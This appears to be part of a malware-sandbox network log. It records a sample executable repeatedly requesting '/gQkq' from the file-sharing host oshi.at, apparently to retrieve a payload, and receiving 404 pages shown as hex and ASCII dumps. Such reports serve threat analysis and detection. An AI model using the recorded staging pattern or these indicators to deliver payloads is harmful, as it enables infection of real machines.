                                                                2025-01-10 17:52:15 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                69192.168.2.950047194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:17 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:17 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:17 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:17 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                70192.168.2.950048194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:18 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:19 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:19 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:19 UTC1185INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up
                                                                2025-01-10 17:52:20 UTC664INData Raw: 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 2f 63 6d 64 22 3e 43 6f 6d 6d 61 6e 64 2d 6c 69 6e 65 20 69 6e 74 65 72 66 61 63 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 2f 73 68 61 72 65 78 22 3e 53 68 61 72 65 58 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73
                                                                Data Ascii: <a class="nav-link" href="/cmd">Command-line interface</a> </li> <li class="nav-item"> <a class="nav-link" href="/sharex">ShareX</a> </li> <li class="nav-item"> <a target="_blank" clas


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                71192.168.2.950049194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:21 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:22 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:22 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:22 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                72192.168.2.950050194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:23 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:24 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:24 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:24 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                73192.168.2.950051194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:25 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:26 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:25 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:26 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                74192.168.2.950052194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:27 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:28 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:28 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:28 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                75192.168.2.950053194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:29 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:30 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:30 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:30 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                76192.168.2.950054194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:31 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:32 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:32 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:32 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                77192.168.2.950055194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:33 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:52:34 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:34 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:34 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                78192.168.2.950056194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:35 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:36 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:35 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:36 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                79192.168.2.950057194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:37 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:37 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:37 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:37 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                80192.168.2.950058194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:39 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:40 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:40 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:40 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                81192.168.2.950059194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:52:41 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:52:42 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:52:42 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:52:42 UTC1185INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up
